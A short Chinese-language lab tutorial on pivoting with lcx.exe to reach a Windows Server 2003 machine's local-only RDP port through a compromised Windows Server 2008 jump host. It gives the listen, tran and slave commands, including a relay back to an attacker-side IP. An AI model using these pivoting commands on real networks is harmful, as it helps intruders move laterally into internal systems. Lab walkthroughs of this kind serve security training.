使用场景
外网不能访问内网目标机,但是可以访问内网跳板机,目标机3389端口只能本地访问,此时我们要用外网连接目标机的远程桌面
如图:
实验环境:
- Windows Server 2008 R2 x64(跳板机)
- Windows Server 2003(目标机)
- lcx.exe
- Lcx工具有三个参数功能如下:
- listen 监听端口
-
tran 将一个端口的流量转发到另一个端口
slave 将两个端口进行连接
环境搭建:
为win2008添加一块网卡,ip设为10.1.1.1
将win2003的网络选成VM1
将ip设为10.1.1.2
此时win2003与win2008是可以ping通的
win2003右键我的电脑开启远程桌面
将lcx.exe上传到两台机器上,模拟已拿到两台机器的控制权限
模拟实验:
先在win2003输入lcx.exe -tran 8080 127.0.0.1 3389
物理机上输入lcx.exe -listen 4444 5555
然后win2008输入lcx.exe -slave 192.168.0.14 4444 10.1.1.2 8080
然后远程桌面连接127.0.0.1:5555